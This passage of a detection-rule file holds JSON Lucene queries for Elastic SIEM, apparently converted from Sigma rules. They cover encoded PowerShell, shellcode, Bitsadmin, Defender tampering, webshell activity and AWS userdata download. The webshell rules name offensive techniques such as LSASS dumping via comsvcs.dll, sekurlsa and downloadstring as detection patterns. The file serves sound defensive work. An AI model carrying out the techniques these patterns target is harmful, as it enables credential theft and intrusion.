*cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgA* OR *MAZQB0AC0AbQBwAHAAcgBlAGYAZQByAGUAbgBjAGUAIA* OR *zAGUAdAAtAG0AcABwAHIAZQBmAGUAcgBlAG4AYwBlACAA*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects base64 encoded listing Win32_Shadowcopy", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "899f568e-1bf4-37a3-c5b8-e12390192e94", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Base64 Encoded Listing of Shadowcopy", "query": "process.command_line:(*VwBpAG4AMwAyAF8AUwBoAGEAZABvAHcAYwBvAHAAeQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQA* OR *cAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0A* OR *XAGkAbgAzADIAXwBTAGgAYQBkAG8AdwBjAG8AcAB5ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdA*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "15c1b2af-0234-25a1-a258-c0c261d5bcd4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious Base64 Encoded Powershell Invoke Cmdlets", "query": "process.command_line:(*SQBuAHYAbwBrAGUALQBCAGwAbwBvAGQASABvAHUAbgBkA* OR *kAbgB2AG8AawBlAC0AQgBsAG8AbwBkAEgAbwB1AG4AZA* OR *JAG4AdgBvAGsAZQAtAEIAbABvAG8AZABIAG8AdQBuAGQA* OR *SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA* OR *kAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6A* OR *JAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAeg* OR *SQBuAHYAbwBrAGUALQBXAE0ASQBFAHgAZQBjA* OR *kAbgB2AG8AawBlAC0AVwBNAEkARQB4AGUAYw* OR *JAG4AdgBvAGsAZQAtAFcATQBJAEUAeABlAGMA*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects Base64 encoded Shellcode", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6d077a5e-d23e-d6c9-b531-7e2d12f0b9e1", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "PowerShell Base64 Encoded Shellcode", "query": "(process.command_line:*AAAAYInlM* AND process.command_line:(*OiCAAAAYInlM* OR *OiJAAAAYInlM*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Base64 encoded Shellcode", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "af9b4312-525d-e822-f37f-824253aab9c8", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "PowerShell ShellCode", "query": "(powershell.file.script_block_text:*AAAAYInlM* AND powershell.file.script_block_text:(*OiCAAAAYInlM* OR *OiJAAAAYInlM*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "Privilege Escalation", "T1055", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["David Ledbetter (shellcode)", "Florian Roth (rule)"], "license": ""}
{"description": "Detects base64 encoded strings used in hidden malicious PowerShell command lines", "author": ["John Lambert (rule)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f196bf8c-f201-0d04-a9e3-59dde107854c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious Base64 Encoded PowerShell Keywords in Command Lines", "query": "(((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe)) OR (winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\"))) AND process.command_line.text:*\\ hidden\\ * AND process.command_line.text:(*AGkAdABzAGEAZABtAGkAbgAgAC8AdAByAGEAbgBzAGYAZQByA* OR *aXRzYWRtaW4gL3RyYW5zZmVy* OR *IAaQB0AHMAYQBkAG0AaQBuACAALwB0AHIAYQBuAHMAZgBlAHIA* OR *JpdHNhZG1pbiAvdHJhbnNmZX* OR *YgBpAHQAcwBhAGQAbQBpAG4AIAAvAHQAcgBhAG4AcwBmAGUAcg* OR *Yml0c2FkbWluIC90cmFuc2Zlc* OR *AGMAaAB1AG4AawBfAHMAaQB6AGUA* OR *JABjAGgAdQBuAGsAXwBzAGkAegBlA* OR *JGNodW5rX3Npem* OR *QAYwBoAHUAbgBrAF8AcwBpAHoAZQ* OR *RjaHVua19zaXpl* OR *Y2h1bmtfc2l6Z* OR *AE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4A* OR *kATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8Abg* OR *lPLkNvbXByZXNzaW9u* OR *SQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuA* OR *SU8uQ29tcHJlc3Npb2* OR *Ty5Db21wcmVzc2lvb* OR *AE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQ* OR *kATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtA* OR *lPLk1lbW9yeVN0cmVhb* OR *SQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0A* OR *SU8uTWVtb3J5U3RyZWFt* OR *Ty5NZW1vcnlTdHJlYW* OR *4ARwBlAHQAQwBoAHUAbgBrA* OR *5HZXRDaHVua* OR *AEcAZQB0AEMAaAB1AG4Aaw* OR *LgBHAGUAdABDAGgAdQBuAGsA* OR *LkdldENodW5r* OR *R2V0Q2h1bm* OR *AEgAUgBFAEEARABfAEkATgBGAE8ANgA0A* OR *QASABSAEUAQQBEAF8ASQBOAEYATwA2ADQA* OR *RIUkVBRF9JTkZPNj* OR *SFJFQURfSU5GTzY0* OR *VABIAFIARQBBAEQAXwBJAE4ARgBPADYANA* OR *VEhSRUFEX0lORk82N* OR *AHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZA* OR *cmVhdGVSZW1vdGVUaHJlYW* OR *MAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkA* OR *NyZWF0ZVJlbW90ZVRocmVhZ* OR *Q3JlYXRlUmVtb3RlVGhyZWFk* OR *QwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAVABoAHIAZQBhAGQA* OR *0AZQBtAG0AbwB2AGUA* OR *1lbW1vdm* OR *AGUAbQBtAG8AdgBlA* OR *bQBlAG0AbQBvAHYAZQ* OR *bWVtbW92Z* OR *ZW1tb3Zl*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986", "enabled": false, "false_positives": ["Legitimate use of remote PowerShell execution"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0ce6a4f3-8620-180c-6d6c-ce28b90e2b8b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Remote PowerShell Sessions Network Connections (WinRM)", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5156\" AND DestPort:(\"5985\" OR \"5986\") AND LayerRTID:\"44\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects Bitsadmin connections to domains with uncommon TLDs - - ", "enabled": false, "false_positives": ["Rare programs that use Bitsadmin and update from regional TLDs e.g. .uk or .ca"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "d328489a-58be-3d88-742f-5f83475c3d65", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bitsadmin to Uncommon TLD", "query": "(user_agent.original:Microsoft\\ BITS\\/* AND (NOT ((destination.domain:(*.com OR *.net OR *.org OR *.scdn.co OR *.sfx.ms) OR url.domain:(*.com OR *.net OR *.org OR *.scdn.co OR *.sfx.ms)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1071", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Tim Shelton"], "license": ""}
{"description": "Detects Bitsadmin connections to IP addresses instead of FQDN names", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "a5ffea9e-6cfc-1f5a-9f86-14c7fd7a9e5e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bitsadmin to Uncommon IP Server Address", "query": "(user_agent.original:Microsoft\\ BITS\\/* AND (url.domain:(*1 OR *2 OR *3 OR *4 OR *5 OR *6 OR *7 OR *8 OR *9) OR destination.domain:(*1 OR *2 OR *3 OR *4 OR *5 OR *6 OR *7 OR *8 OR *9)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1071", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects block of attempt to disable real time protection of Microsoft Defender by tamper protection", "enabled": false, "false_positives": ["Administrator actions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ab1b7105-9b39-5197-6ca5-9899f3180fe6", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Microsoft Defender Tamper Protection Trigger", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Windows\\ Defender\\/Operational\" AND winlog.event_id:\"5013\" AND Value:(*\\\\Windows\\ Defender\\\\DisableAntiSpyware\\ \\=\\ 0x1\$\$ OR *\\\\Real\\-Time\\ Protection\\\\DisableRealtimeMonitoring\\ \\=\\ \$Current\$))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects blocked load attempts of revoked drivers", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "76e0e215-a7fe-36ce-e681-a49037357864", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Block Load Of Revoked Driver", "query": "winlog.event_id:\"3023\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects blocked load events that did not meet the authenticode signing level requirements or violated code integrity policy", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8824a696-4119-72ae-92bf-e5e055cc4de3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Code Integrity Blocked Driver Load", "query": "winlog.event_id:\"3077\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects blocking of process creations originating from PSExec and WMI commands", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2a9c7fcb-dd9a-08b9-90d2-abb3684f0660", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PSExec and WMI Process Creations Block", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Windows\\ Defender\\/Operational\" AND winlog.event_id:\"1121\" AND process.executable:(*\\\\wmiprvse.exe OR *\\\\psexesvc.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1047", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects both of CVE-2022-30190 / Follina and DogWalk vulnerability exploiting msdt.exe binary to load sdiageng.dll binary", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a72c8d54-14b4-b6c8-7249-aebf160ce65a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSDT.exe Loading Diagnostic Library", "query": "(process.executable:*\\\\msdt.exe AND file.path:*\\\\sdiageng.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Greg (rule)"], "license": ""}
{"description": "Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks", "author": ["pH-T", "Nasreddine Bencherchali (update)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a92b5298-7490-2b46-6c2a-3de00415047c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Browser Started with Remote Debugging", "query": "((process.command_line.text:*\\ \\-\\-remote\\-debugging\\-*) OR ((process.executable.text:*\\\\firefox.exe AND process.command_line.text:*\\ \\-start\\-debugger\\-server*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1185"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects buffer overflow attempts in Unix system log files", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "23c3228c-2632-697d-299a-fb866a78c8f9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Buffer Overflow Attempts", "query": "(*attempt\\ to\\ execute\\ code\\ on\\ stack\\ by* OR *FTP\\ LOGIN\\ FROM\\ .*\\ 0bin0sh* OR *rpc.statd\\[\\\\d\\+\\]\\:\\ gethostbyname\\ error\\ for* OR *AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1068"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects bulk downloading of User Data associated with AWS EC2 instances. Instance User Data may include installation scripts and hard-coded secrets for deployment.", "enabled": false, "false_positives": ["Assets management software like device42"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "60a1578f-d2f0-f1dd-2259-bbc1271a07fe", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS EC2 Download Userdata", "query": "(eventSource:\"ec2.amazonaws.com\" AND requestParameters.attribute:\"userData\" AND eventName:\"DescribeInstanceAttribute\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1020"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1020", "name": "Automated Exfiltration", "reference": ""}]}], "version": 1, "threshold": {"field": [], "value": 11}, "references": [""], "timestamp_override": "event.ingested", "author": ["faloker"], "license": ""}
{"description": "Detects call to \"Win32_QuickFixEngineering\" in order to enumerate installed hotfixes often used in \"enum\" scripts by attackers", "enabled": false, "false_positives": ["Legitimate administration scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "35d410d2-72f5-7648-ca27-1a1a96a9b69b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell Hotfix Enumeration", "query": "(powershell.file.script_block_text:*Win32_QuickFixEngineering* AND powershell.file.script_block_text:*HotFixID*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects calls to hidden files or files located in hidden directories in NIX systems.", "author": ["David Burkett", "@signalblur"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "8280b31e-f718-71ab-0c2f-a2a173f7f250", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Use Of Hidden Paths Or Files", "query": "((type:\"PATH\" AND name:*\\/.*) AND (NOT (name:(*\\/.cache\\/* OR *\\/.config\\/* OR *\\/.pyenv\\/* OR *\\/.rustup\\/toolchains*))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects capture a network trace via netsh.exe trace functionality", "enabled": false, "false_positives": ["Legitimate administrator or user uses netsh.exe trace functionality for legitimate reason"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cb8a3b76-6c56-bef2-561e-0a8ec6c34ddf", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Capture a Network Trace with netsh.exe", "query": "(process.command_line:*netsh* AND process.command_line:*trace* AND process.command_line:*start*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1040"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Kutepov Anton", "oscd.community"], "license": ""}
{"description": "Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "93dbc40c-1f69-9629-0005-add101957491", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Gpresult Display Group Policy Information", "query": "(process.executable:*\\\\gpresult.exe AND process.command_line:(*\\/z* OR *\\/v*))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e22aea86-6539-6c64-4b98-7196ab2f60d8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Ngrok Usage with Remote Desktop Service", "query": "(winlog.event_id:\"21\" AND Address:*16777216*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1090"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects certain command line parameters often used during reconnaissance activity via web shells", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1678f75b-8388-e04a-fdd3-e5623eab2018", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Webshell Detection With Command Line Keywords", "query": "((process.parent.executable:(*\\\\w3wp.exe OR *\\\\php\\-cgi.exe OR *\\\\nginx.exe OR *\\\\httpd.exe OR *\\\\caddy.exe OR *\\\\ws_tomcatservice.exe) OR (process.parent.executable:(*\\\\java.exe OR *\\\\javaw.exe) AND process.parent.executable:(*\\-tomcat\\-* OR *\\\\tomcat*)) OR (process.parent.executable:(*\\\\java.exe OR *\\\\javaw.exe) AND process.command_line:(*catalina.jar* OR *CATALINA_HOME*))) AND ((winlog.event_data.OriginalFileName:(\"net.exe\" OR \"net1.exe\") AND process.command_line:(*\\ user\\ * OR *\\ use\\ * OR *\\ group\\ *)) OR (winlog.event_data.OriginalFileName:\"ping.exe\" AND process.command_line:*\\ \\-n\\ *) OR process.command_line:(*&cd&echo* OR *cd\\ \\/d\\ *) OR (winlog.event_data.OriginalFileName:\"wmic.exe\" AND process.command_line:*\\ \\/node\\:*) OR (process.executable:(*\\\\whoami.exe OR *\\\\systeminfo.exe OR *\\\\quser.exe OR *\\\\ipconfig.exe OR *\\\\pathping.exe OR *\\\\tracert.exe OR *\\\\netstat.exe OR *\\\\schtasks.exe OR *\\\\vssadmin.exe OR *\\\\wevtutil.exe OR *\\\\tasklist.exe) OR winlog.event_data.OriginalFileName:(\"whoami.exe\" OR \"sysinfo.exe\" OR \"quser.exe\" OR \"ipconfig.exe\" OR \"pathping.exe\" OR \"tracert.exe\" OR \"netstat.exe\" OR \"schtasks.exe\" OR \"VSSADMIN.EXE\" OR \"wevtutil.exe\" OR \"tasklist.exe\")) OR process.command_line:(*\\ Test\\-NetConnection\\ * OR *dir\\ \\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1018", "T1033", "T1087", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Jonhnathan Ribeiro", "Anton Kutepov", "oscd.community"], "license": ""}
{"description": "Detects certain parent child patterns found in cases in which a webshell is used to perform certain credential dumping or exfiltration activities on a compromised system", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9d3ecde4-59c7-2a2e-68d0-1215d7540248", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Webshell Hacking Activity Patterns", "query": "((process.parent.executable:(*\\\\w3wp.exe OR *\\\\php\\-cgi.exe OR *\\\\nginx.exe OR *\\\\httpd.exe OR *\\\\caddy.exe OR *\\\\ws_tomcatservice.exe) OR (process.parent.executable:(*\\\\java.exe OR *\\\\javaw.exe) AND process.parent.executable:(*\\-tomcat\\-* OR *\\\\tomcat*)) OR (process.parent.executable:(*\\\\java.exe OR *\\\\javaw.exe) AND process.command_line:(*catalina.jar* OR *CATALINA_HOME*))) AND ((process.command_line:*rundll32* AND process.command_line:*comsvcs.dll*) OR (process.command_line:*\\ \\-hp* AND process.command_line:*\\ a\\ * AND process.command_line:*\\ \\-m*) OR (process.command_line:*net* AND process.command_line:*\\ user\\ * AND process.command_line:*\\ \\/add*) OR (process.command_line:*net* AND process.command_line:*\\ localgroup\\ * AND process.command_line:*\\ administrators\\ * AND process.command_line:*\\/add*) OR process.executable:(*\\\\ntdsutil.exe OR *\\\\ldifde.exe OR *\\\\adfind.exe OR *\\\\procdump.exe OR *\\\\Nanodump.exe OR *\\\\vssadmin.exe OR *\\\\fsutil.exe) OR process.command_line:(*\\ \\-NoP\\ * OR *\\ \\-W\\ Hidden\\ * OR *\\ \\-decode\\ * OR *\\ \\/decode\\ * OR *reg\\ save\\ * OR *.downloadstring\\(* OR *.downloadfile\\(* OR *FromBase64String* OR *\\ \\/ticket\\:* OR *\\ sekurlsa* OR *.dmp\\ full* OR *process\\ call\\ create* OR *whoami\\ \\/priv*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1018", "T1033", "T1087", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian 